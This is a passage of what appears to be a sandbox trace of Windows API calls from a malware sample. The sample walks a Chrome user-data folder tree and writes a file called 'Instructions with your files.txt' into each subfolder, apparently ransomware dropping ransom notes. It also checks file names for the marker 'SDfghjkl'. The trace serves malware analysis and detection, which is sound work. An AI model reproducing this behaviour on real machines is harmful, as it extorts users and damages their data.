[0130.424] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.424] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Instructions with your files.txt") returned 121
[0130.424] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.425] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.426] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.426] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.426] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.426] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.426] CloseHandle (hObject=0x120) returned 1
[0130.426] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.426] GetProcessHeap () returned 0x810000
[0130.426] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.427] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1
[0130.427] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 81
[0130.427] StrStrIW (lpFirst="First Run", lpSrch="SDfghjkl") returned 0x0
[0130.427] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1
[0130.427] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 83
[0130.427] StrStrIW (lpFirst="Local State", lpSrch="SDfghjkl") returned 0x0
[0130.427] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1
[0130.427] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 84
[0130.427] GetProcessHeap () returned 0x810000
[0130.427] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.427] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*") returned 86
[0130.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.427] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\.") returned 86
[0130.427] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.427] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\..") returned 87
[0130.427] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.427] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Instructions with your files.txt") returned 117
[0130.427] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\origintrials\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.428] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.428] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.429] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.429] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.429] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.429] CloseHandle (hObject=0x120) returned 1
[0130.429] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.429] GetProcessHeap () returned 0x810000
[0130.429] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.429] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1
[0130.429] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 83
[0130.429] GetProcessHeap () returned 0x810000
[0130.429] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.429] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*") returned 85
[0130.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.429] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\.") returned 85
[0130.429] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.430] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\..") returned 86
[0130.430] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.430] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Instructions with your files.txt") returned 116
[0130.430] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.430] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.431] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.431] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.431] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.431] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.431] CloseHandle (hObject=0x120) returned 1
[0130.431] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.431] GetProcessHeap () returned 0x810000
[0130.431] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.431] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1
[0130.431] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 77
[0130.431] GetProcessHeap () returned 0x810000
[0130.431] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.431] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*") returned 79
[0130.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.432] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\.") returned 79
[0130.432] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.432] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\..") returned 80
[0130.432] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.432] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Instructions with your files.txt") returned 110
[0130.432] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\pnacl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.432] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.433] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.433] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.433] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.433] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.433] CloseHandle (hObject=0x120) returned 1
[0130.434] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.434] GetProcessHeap () returned 0x810000
[0130.434] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.434] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1
[0130.434] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 97
[0130.434] StrStrIW (lpFirst="Safe Browsing Channel IDs", lpSrch="SDfghjkl") returned 0x0
[0130.434] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1
[0130.434] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 105
[0130.434] StrStrIW (lpFirst="Safe Browsing Channel IDs-journal", lpSrch="SDfghjkl") returned 0x0
[0130.434] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1
[0130.434] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 93
[0130.434] StrStrIW (lpFirst="Safe Browsing Cookies", lpSrch="SDfghjkl") returned 0x0
[0130.434] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1
[0130.434] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 101
[0130.434] StrStrIW (lpFirst="Safe Browsing Cookies-journal", lpSrch="SDfghjkl") returned 0x0
[0130.434] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1
[0130.434] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 89
[0130.434] GetProcessHeap () returned 0x810000
[0130.434] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
